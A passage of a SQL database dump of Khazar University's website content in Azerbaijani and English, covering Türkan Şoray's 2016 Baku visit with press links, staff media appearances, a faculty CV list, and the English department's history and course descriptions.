href=\"http://www.fenomen.az/turkan-soray-bakida-fotolar\">http://www.fenomen.az/turkan-soray-bakida-fotolar</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://pressaz24.info/turkan-soray-bakida-avrasiya-%C9%99fsan%C9%99si-secildi\">http://pressaz24.info/turkan-soray-bakida-avrasiya-əfsanəsi-secildi</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axar.az/news/sinema/121706.html;\">http://axar.az/news/sinema/121706.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://bizimxeber.az/2016/11/17/turkan-soray-bakiya-g%C9%99ldi-video/#Kalibri\">http://bizimxeber.az/2016/11/17/turkan-soray-bakiya-gəldi-video/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.bizimdovr.az/magazin/18964-trkan-oray-bakda-azrbaycan-azrbaycanllar-ox-sevirm.html\">http://www.bizimdovr.az/magazin/18964-trkan-oray-bakda-azrbaycan-azrbaycanllar-ox-sevirm.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.unikal.org/w132629.html;%0d\">http://www.unikal.org/w132629.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.xeberaz.az/karusel/24848-turkan-shoray-bakida-video.html\">http://www.xeberaz.az/karusel/24848-turkan-shoray-bakida-video.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://tia.az/redaktorsecimi/741-turkan-shoray-ucuncu-defe-bakida-foto.html\">http://tia.az/redaktorsecimi/741-turkan-shoray-ucuncu-defe-bakida-foto.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xebervar.com/xebervar-turkan-soray-bakida-butun-azerbaycanlilari-cox-sevirem-foto-t147526.html\">http://xebervar.com/xebervar-turkan-soray-bakida-butun-azerbaycanlilari-cox-sevirem-foto-t147526.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://teref.info/sou-biznes/39176-turkan-shoraya-bakida-avrasiya-efsanesi-mukafati-verildi.html\">http://teref.info/sou-biznes/39176-turkan-shoraya-bakida-avrasiya-efsanesi-mukafati-verildi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.xebersaati.com/95048-rober-ossejn-i-tyurkan-shoraj-udostoeny-v-baku-premii-legenda-evrazii-foto.html\">http://www.xebersaati.com/95048-rober-ossejn-i-tyurkan-shoraj-udostoeny-v-baku-premii-legenda-evrazii-foto.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=50170\">http://kaspiy.az/news.php?id=50170</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://mediaxeber.com/news/16990\">http://mediaxeber.com/news/16990</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.teleqraf.com/news/116425\">http://www.teleqraf.com/news/116425</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://apa.az/xeber-az/sosial_xeberler/xezer-universitetinde-avrasiya-akademiyasinin-ikinci-toplantisi-kecirilib.html\">http://apa.az/xeber-az/sosial_xeberler/xezer-universitetinde-avrasiya-akademiyasinin-ikinci-toplantisi-kecirilib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.novoye-vremya.com/w72788/.../\">http://www.novoye-vremya.com/w72788/.../</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://report.az/elm-ve-tehsil/turkan-soray-bakida-mukafat-ve-diplomla-teltif-edilib/\">https://report.az/elm-ve-tehsil/turkan-soray-bakida-mukafat-ve-diplomla-teltif-edilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://news.milli.az/showbiz/490402.html\">http://news.milli.az/showbiz/490402.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xalqxeber.az/show-biznes/378736-turkan-shoray-bakida-fotolar.html\">http://xalqxeber.az/show-biznes/378736-turkan-shoray-bakida-fotolar.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axsam.az/?name=xeber&amp;news_id=61338\">http://axsam.az/?name=xeber&amp;news_id=61338</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://gecce.az/video/20766-turkan-shoray-bakida-fotolarvideo.html\">http://gecce.az/video/20766-turkan-shoray-bakida-fotolarvideo.html</a>;</p><p><a href=\"http://www.today.az/news/entertainment/156134.html\" style=\"font-family:\'Times New Roman\', serif;font-size:12pt\"></a><a href=\"http://www.azernews.az/culture/105302.html\">http://www.azernews.az/culture/105302.html</a></p><p><a href=\"http://www.today.az/news/entertainment/156134.html\">http://www.today.az/news/entertainment/156134.html</a>  <br></p>'),(2622,1577,'az','Xəzər Universitetinin dəvətilə Bakıya gələn Türkan Şoray mətbuatda','Xəbər verildiyi kimi, 2016-cı il noyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər Universitetinin dəvətilə Azərbaycana gəlmişdir. Türk filmlərinin canlı əfsanəsinə...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəbər verildiyi kimi, 2016-cı il\r\nnoyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər\r\nUniversitetinin dəvətilə Azərbaycana gəlmişdir. Türk filmlərinin canlı\r\nəfsanəsinə respublikanın media ictimaiyyəti çox diqqət yetirmiş, respublika\r\nərazisində yayımlanan televiziyalar, agentliklər, mətbu orqanlar və bir çox\r\ndigər media qurumları bu hadisəni işıqlandırmışlar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Turkologiya_jurnalinin_nezdinde_yaradilan_seminarin_ilk_toplantisi_olub-1011273\">http://azertag.az/xeber/Turkologiya_jurnalinin_nezdinde_yaradilan_seminarin_ilk_toplantisi_olub-1011273</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://sputnik.az/news/20161117/407761566/turkan-soray-ve-osseyn-bakida.html\">http://sputnik.az/news/20161117/407761566/turkan-soray-ve-osseyn-bakida.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axar.az/news/sinema/121706.html\">http://axar.az/news/sinema/121706.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://big.az/266338-turkan_soray_bakida_azerbaycanlilari_cox_sevirem\">http://big.az/266338-turkan_soray_bakida_azerbaycanlilari_cox_sevirem</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.fenomen.az/turkan-soray-bakida-fotolar\">http://www.fenomen.az/turkan-soray-bakida-fotolar</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://pressaz24.info/turkan-soray-bakida-avrasiya-%C9%99fsan%C9%99si-secildi\">http://pressaz24.info/turkan-soray-bakida-avrasiya-əfsanəsi-secildi</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axar.az/news/sinema/121706.html;\">http://axar.az/news/sinema/121706.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://bizimxeber.az/2016/11/17/turkan-soray-bakiya-g%C9%99ldi-video/#Kalibri\">http://bizimxeber.az/2016/11/17/turkan-soray-bakiya-gəldi-video/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.bizimdovr.az/magazin/18964-trkan-oray-bakda-azrbaycan-azrbaycanllar-ox-sevirm.html\">http://www.bizimdovr.az/magazin/18964-trkan-oray-bakda-azrbaycan-azrbaycanllar-ox-sevirm.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.unikal.org/w132629.html;%0d\">http://www.unikal.org/w132629.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.xeberaz.az/karusel/24848-turkan-shoray-bakida-video.html\">http://www.xeberaz.az/karusel/24848-turkan-shoray-bakida-video.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://tia.az/redaktorsecimi/741-turkan-shoray-ucuncu-defe-bakida-foto.html\">http://tia.az/redaktorsecimi/741-turkan-shoray-ucuncu-defe-bakida-foto.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xebervar.com/xebervar-turkan-soray-bakida-butun-azerbaycanlilari-cox-sevirem-foto-t147526.html\">http://xebervar.com/xebervar-turkan-soray-bakida-butun-azerbaycanlilari-cox-sevirem-foto-t147526.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://teref.info/sou-biznes/39176-turkan-shoraya-bakida-avrasiya-efsanesi-mukafati-verildi.html\">http://teref.info/sou-biznes/39176-turkan-shoraya-bakida-avrasiya-efsanesi-mukafati-verildi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.xebersaati.com/95048-rober-ossejn-i-tyurkan-shoraj-udostoeny-v-baku-premii-legenda-evrazii-foto.html\">http://www.xebersaati.com/95048-rober-ossejn-i-tyurkan-shoraj-udostoeny-v-baku-premii-legenda-evrazii-foto.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=50170\">http://kaspiy.az/news.php?id=50170</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://mediaxeber.com/news/16990\">http://mediaxeber.com/news/16990</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.teleqraf.com/news/116425\">http://www.teleqraf.com/news/116425</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://apa.az/xeber-az/sosial_xeberler/xezer-universitetinde-avrasiya-akademiyasinin-ikinci-toplantisi-kecirilib.html\">http://apa.az/xeber-az/sosial_xeberler/xezer-universitetinde-avrasiya-akademiyasinin-ikinci-toplantisi-kecirilib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.novoye-vremya.com/w72788/.../\">http://www.novoye-vremya.com/w72788/.../</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://report.az/elm-ve-tehsil/turkan-soray-bakida-mukafat-ve-diplomla-teltif-edilib/\">https://report.az/elm-ve-tehsil/turkan-soray-bakida-mukafat-ve-diplomla-teltif-edilib/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://news.milli.az/showbiz/490402.html\">http://news.milli.az/showbiz/490402.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xalqxeber.az/show-biznes/378736-turkan-shoray-bakida-fotolar.html\">http://xalqxeber.az/show-biznes/378736-turkan-shoray-bakida-fotolar.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://axsam.az/?name=xeber&amp;news_id=61338\">http://axsam.az/?name=xeber&amp;news_id=61338</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://gecce.az/video/20766-turkan-shoray-bakida-fotolarvideo.html\">http://gecce.az/video/20766-turkan-shoray-bakida-fotolarvideo.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.teleqraf.com/news/116405#Kalibri\">http://www.teleqraf.com/news/116405</a>.</p><p style=\"background:undefined \"><a href=\"http://www.azernews.az/culture/105302.html\">http://www.azernews.az/culture/105302.html</a></p><p><a href=\"http://www.today.az/news/entertainment/156134.html\">http://www.today.az/news/entertainment/156134.html</a>&nbsp;</p>'),(1504,941,'az','“Xəzər”in əməkdaşı “Təhsil TV”-də qonaq oldu','2016-cı il aprelin 9-da Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər kafedrasının müdiri fəlsəfə doktoru Muxtar Hacızadə və Təhsil nazirinin müşaviri Fərhad Əmirbəyov “Təhsil TV”nin “Təməl” verilişinin qonağı olmuş, ','<p>2016-cı il aprelin 9-da Xəzər Universitetinin Siyasi elm və\r\nbeynəlxalq münasibətlər kafedrasının müdiri fəlsəfə doktoru Muxtar Hacızadə və Təhsil nazirinin müşaviri Fərhad Əmirbəyov “Təhsil TV”nin “Təməl” verilişinin qonağı olmuş, akademik\r\ndürüstlüyün önəmini müzakirə etmişlər.</p>\r\n<p>Verlişə bütövlükdə bu link vasitəsilə\r\nbaxmaq olar:</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\">https://www.youtube.com/watch?v=V_IPegcVNo8</a>.</p>'),(1505,941,'en','Department Chair Makes Appearance on Education TV','On April 9, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, appeared as a guest on Education TV’s “Temel” (Foundation) broadcast','<p>On\r\nApril 9, 2016, Dr. Mukhtar\r\nHajizada, Head of the Department of Political Science and International\r\nRelations at Khazar University, appeared as a guest on Education TV’s “Temel”\r\n(Foundation) broadcast and discussed the importance of academic integrity with\r\nFarhad Amirbeyov, Advisor to the Minister of Education. The broadcast is\r\navailable for viewing at the following link: </p>\r\n<p><a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\">https://www.youtube.com/watch?v=V_IPegcVNo8</a></p>'),(1506,942,'az','Təsisçi “Space” TV-də görüşdə oldu','2016-cı il aprelin 15-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Space” televiziya kanalında oldu, kanalın rəhbəri Vaqif Mustafayevlə görüşdü. ','<p>2016-cı il aprelin 15-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Space”\r\nteleviziya kanalında oldu, kanalın rəhbəri Vaqif Mustafayevlə görüşdü. Görüşdə\r\nXəzər Universiteti və “Space” kanalının gələcək əməkdaşlıq ideyaları müzakirə\r\nolundu.&nbsp;</p>'),(1507,942,'en','Founder’s Meeting at Space TV','On April 15, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited the Space TV channel and met with its Director, Vagif Mustafayev. ','<p>On April 15, 2016, Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, visited\r\nthe Space TV channel and met with its Director, Vagif Mustafayev. During the\r\nmeeting, the parties discussed potential partnership between Khazar University\r\nand Space TV. </p>\r\n<p>&nbsp;</p>'),(912,599,'az','CV\'lər','CV\'lər','<p><a href=\"http://www.khazar.org/files/eng_depart/Adilya_Abdullayeva%2B.pdf\">Adilya&nbsp;Abdullayeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Arzu%20Mikayilzade%20%2B.pdf\">Arzu Mikayılzadə</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Aytan%20Mammadova%20%2B.pdf\">Aytən Məmmədova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Aziza%20Zulfugarova%20%2B.pdf\">Əzizə Zülfüqarova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Adila%20Aliyeva%2B.pdf\">Adilə Əliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ceyhun_Kerimov%20%2B.pdf\">Ceyhun&nbsp;Kərimov</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Elmira%20Aliyeva%20%2B.pdf\">Elmira Əliyeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Eynur%20Mehdiyev%20%2B.pdf\">Eynur Mehdiyev</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Firangiz%20Nasirova%20%20%20%2B.pdf\">Firəngiz Nəsirova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Gayibkhanova%20Diana%20%2B.pdf\">Qayıbxanova Diana</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Gulnur%20Miriyeva%2B.pdf\">Gülnur Miriyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ilham_Taghiyev%2B.pdf\">İlham&nbsp;Tağıyev</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Irina%20Orujova%20%2B.pdf\">İrina Orucova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Ilaha%20Khanaliyeva.pdf\">İlahə Xanəliyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Kamala_Asgerova%20%2B.pdf\">Kəmalə Əsgərova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Khanaliyeva%20Ilaha%20%2B.pdf\">İlahə Xanəliyeva </a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Khanim%20Ahmadova%20%20%2B.pdf\">Xanım Əhmədova</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Konul_Huseynova%20%20%2B.pdf\">Könül&nbsp;Hüseynova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lala%20Aliyeva%20%20%2B.pdf\">Lalə Əliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Lala_Gamidova%20%2B.pdf\">Lalə Həmidova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Leyla%20Rahimova%20%2B.pdf\">Leyla Rəhimova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Leyla_Salayeva%20%2B.pdf\">Leyla Salayeva</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/eng_depart/MILANA_ABBASOVA_cv%20January%202018.pdf\">Milana Abbasova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Guluzadeh%20%2B.pdf\">Mahirə Quluzadə</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Naila_Gasimova%20%2B.pdf\">Nailə Qasımova</a></p><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\"></a><p><a href=\"http://www.khazar.org/files/eng_depart/Nubar%20Agalarova_CV%20%2B.pdf\">Nübar Ağalarova</a><a href=\"http://www.khazar.org/files/eng_depart/Nurana%20Farhadova%20%2B.pdf\"><br></a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nurana%20Farhadova%20%2B.pdf\">Nuranə Fərhadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nigar%20Hagverdiyeva.pdf\">Nigar Haqverdiyeva</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Parvin_Karimova%2B.pdf\">Pərvin Kərimova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Saadat%20Farhadova%20%2B.pdf\">Səadət Fərhadova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sevil%20Huseynova.%20CV.pdf\">Sevil Hüseynova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Sevinj%20Iskenderova%20%2B.pdf\">Sevinc İskəndərova</a><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Shahriyar_Mammadov%20%2B.pdf\">Şəhriyar&nbsp;Məmmədov</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Zamira%20Gurbanova%20%2B.pdf\">Zamirə Qurbanova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/eng_depart/Zulfiya%20%C4%B0brahimova.pdf\">Zülfiyyə İbrahimova</a></p><p><a href=\"http://www.khazar.org/files/eng_depart/Husniyye%20europass%20cv%20(1).pdf\">Hüsniyyə Tanrıverdiyeva</a></p>'),(2607,1567,'en','Khazar University Instructor’s Article Published ','In November 2016, an article entitled “Social Content in Azerbaijani Patriotic Lyrics of the Late 20th Century” by Gardashkhan Azizkhanli, instructor for the Khazar University...','<p>In November 2016, an article entitled\r\n“Social Content in Azerbaijani Patriotic Lyrics of the Late 20th Century” by\r\nGardashkhan Azizkhanli, instructor for the Khazar University Department of\r\nAzerbaijani Language and Literature, was published in the <em>Philology Issues</em>\r\njournal (volume 8) published by the Fuzuli Manuscripts Institute of the\r\nAzerbaijan Republic Academy of Sciences. The article calls attention to the\r\nroles of M. Araz, S. Tahir and M. Ismayil in the formation of national\r\nideology, preservation of national values and prevention of moral degradation.&nbsp;</p>'),(1511,945,'az','Universitet müəllimləri şagirdlərlə görüşdülər','2016-cı il aprelin 16-da Xəzər Universitetindən bir qrup müəllim və tələbə Hövsan kəndindəki 118 nömrəli məktəbə səfər etdilər.','<p>2016-cı il aprelin 16-da Xəzər Universitetindən bir\r\nqrup müəllim və tələbə Hövsan kəndindəki 118 nömrəli məktəbə səfər etdilər.\r\nGörüşün əsas məqsədi universitet və məktəb arasında daimi əlaqələrin\r\nyaradılması idi. Öncə Xəzər Universitetinin müəllimləri və tələbələri məktəb\r\nşagirdlərinin təşkil etdiyi əl işləri sərgisi ilə tanış oldular. Daha sonra müəllimlər\r\n– Rövşən Abbasov, Qəşəm Zeynalov, Yeganə Balamedova, Nərmin Fətəliyeva, tələbə\r\nƏhməd Usama məktəb tələbələri qarşısında çıxış etdilər və Xəzər Universitetində\r\ntələbə olmağın üstünlüklərindən danışdılar. </p>\r\n<p>Məktəbin müəllimi,\r\ntəcrübəli pedaqoq Rəhilə Hacıyeva qonaqlara təşəkkürünü bildirdi və Xəzər\r\nUniversitetini Azərbaycanın ən yaxşı universiteti adlandırdı.&nbsp;</p>'),(1512,946,'az','Universitet rektorları Xəzər Univetrsitetində oldular','2016-cı il aprelin 17-də KUNİB-in Bakıda keçirilən sərgisində iştirak edən Türkiyə universitetlərinin rektorları Xəzər Universitetini ziyarət etdilər.','<p>2016-cı il aprelin\r\n17-də KUNİB-in Bakıda keçirilən sərgisində iştirak edən Türkiyə universitetlərinin\r\nrektorları Xəzər Universitetini ziyarət etdilər. “Mərmər” salonda universitet rəhbərliyinin,\r\ndekanların, department müdirlərinin rektorlarla rəsmi görüşü keçirildi. Əvvəlcə,\r\nMədəniyyət və incəsənət departamentinin müdiri pianoçu&nbsp;Zülfiyə Sadıqovanın\r\nrəhbərlik etdiyi musiqi qrupu qonaqların şərəfinə kiçik konsert verdi. Məhsəti\r\nCabbarovanın, Elçin Feyzullayevin solo ifaları və Məsrin Rzayevanın skripkada\r\nifası qonaqlar tərəfindən alqışlarla qarşılandı. Konsertdən sonra Xəzər\r\nUniversitetinin təsisçisi, Diorektorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı görüşü açaraq, Türkiyədən gələn universitet rektorlarını və\r\nqonaqları səmimi salamladı. H.İsaxanlı universitetin yaradılması və bu günə\r\nkimi olan fəaliyyəti haqqında qonaqlara geniş məlumat verdi. Sonra KUNİB-in başqanı,\r\nArdahan Universitetinin rektoru professor Ramazan Korkmaz qonaqlar adından\r\nHamlet İsaxanlıya və Xəzər Universitetinin rəhbərliyinə səmimi qəbul üçün dərin\r\ntəşəkkürünü bildirdi. Mardin Artuklu Universitetinin rektoru professor Ahmet\r\nAğırakça, SANKO Universitetinin rektoru professor Ahmet Sınav, Bursa Orhangazi\r\nUniversitetinin rektoru professor Recep İleri və digər universitetlərin\r\nrektorları çıxış edərək, Xəzər Universitetində keçirilən səmimi, xoş görüş üçün\r\nDiorektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya və universitet\r\nrəhbərliyinə dərin təşəkkürlərini bildirdilər. </p>\r\n<p>Qonaqların şərəfinə\r\nŞirvanşah Muzey Restoranında ziyafət verildi. Xatirə şəkilləri çəkildi.</p>'),(913,600,'az','Tarixi','Tarixi','<p style=\"text-align:justify\">İngilis dili və ədəbiyyatı departamenti Xəzər\r\nUniversitetinin ən böyük şöbələrindən biridir. Departament 1992-ci ildə yaradılıb. Şöbənin Fakültə tərkibinə Azərbaycanın təcrübəli\r\nalimləri və ingilis dili müəllimləri, eləcə də gəlmə professorlar da daxildir.</p><p style=\"text-align:justify\"> İngilis dili və ədəbiyyatı fakültəsi tələbələrə güclü dil və ünsiyyət\r\nbacarıqları, İngilis və Amerika ədəbiyyatının dərin bilikləri, dilçilik və\r\ntərcümə sahəsi daxil olmaqla müvafiq sahələrdə möhkəm biliyə yiyələnmələri üçün\r\nəllərindən gələni əsirgəmirlər. Bölmə İngilis, İngilis və Amerika ədəbiyyatı və\r\nDil üzrə ibtidai, orta və yüksək səviyyə kursları təklif edir. İngilis dili\r\nkursları, ingilis dili və ədəbiyyatı üzrə bakalavr və magistr proqramlarına\r\ndaxil olan tələbələrin və Universitetin akademik ehtiyaclarına tam cavab verir.</p><p style=\"text-align:justify\">İngilis\r\ndili və ədəbiyyatı bölməsinin məqsədi ingilis dilinin tədrisi proqramında əsas\r\ndörd dil bacarıqlarını oxu, yazı, danışma və dinləməni özündə cəmləşdirməklə\r\nyanaşı, qrammatik və leksik sistemi ilə əhatə dairəsini geniş təmin etməkdir, İngilis\r\ndili əsas təlim dili olduğu universitetdəki bütün səviyyələrdə və məktəblərdə\r\noxuyan tələbələr üçün nəzərdə tutulmuşdur.</p>'),(914,600,'en','History','History','<p style=\"text-align:justify\">The Department of English Language and Literature is one of the largest departments at Khazar University. It was established in 1992. The faculty of the Department includes experienced Azerbaijani scholars and teachers of English as well as visiting professors.</p><p style=\"text-align:justify\">The Department of English Language and Literature intends to instill in students strong language and communication skills, profound knowledge of British and American literature, and a solid background in relevant areas including linguistics and translation studies.</p><p style=\"text-align:justify\">The Department offers elementary, intermediate and advanced courses in English, British and American Literature, and Language Studies. English courses meet the academic needs of all undergraduate students for their University Requirements, the needs of undergraduate majors in English Language and Literature, and the needs of students enrolled in graduate programs.</p><p style=\"text-align:justify\">The Department of English Language and Literature\'s program for teaching English aims to provide comprehensive coverage of the grammatical structure and lexical system of English, combined with extensive practice of the four language skills: reading, writing, speaking, and listening. It is intended for the students of all levels and schools at the university, where English is a primary language of instruction.</p>'),(915,601,'az','Fənlərin təsviri','Fənlərin təsviri','<p style=\"text-align:justify\"><strong><em>ENGL 101: English Foundations&nbsp;1 (6 ECTS&nbsp;credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nPlacement test</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is designed to improve students’ 4\r\nessential language skills in learning English. Through reading texts, doing\r\nlistening tasks, writing grammar exercises, and speaking on a variety of topics\r\nthey will be able to improve their English and build up their vocabulary.&nbsp; It also aims at development of the students’\r\nunderstanding and use of reading, listening, writing, and speaking skills in&nbsp;word recognition, word meaning and  &nbsp;<a>&nbsp;</a>text\r\ncomprehension. Students\r\nwho participate actively in this course will achieve a CEF A1+ proficiency\r\nlevel.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 102: English Foundations&nbsp;2&nbsp;(6&nbsp;<strong><em>ECTS&nbsp;</em></strong>credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite:&nbsp;<strong><em>ENGL 101</em></strong></em></strong>&nbsp;</p><p style=\"text-align:justify\">The course aims at development of the students’ understanding and using different skills and strategies in word recognition, word meaning and text comprehension. It builds up the students’ vocabulary through wide and fluent reading of the selected topics, expands their comprehension by analyzing, interpreting, and synthesizing information and ideas in literacy and informational text, and develops the students’ interests through sharing reading experiences.&nbsp;</p>  <p style=\"text-align:justify\"><br></p><p 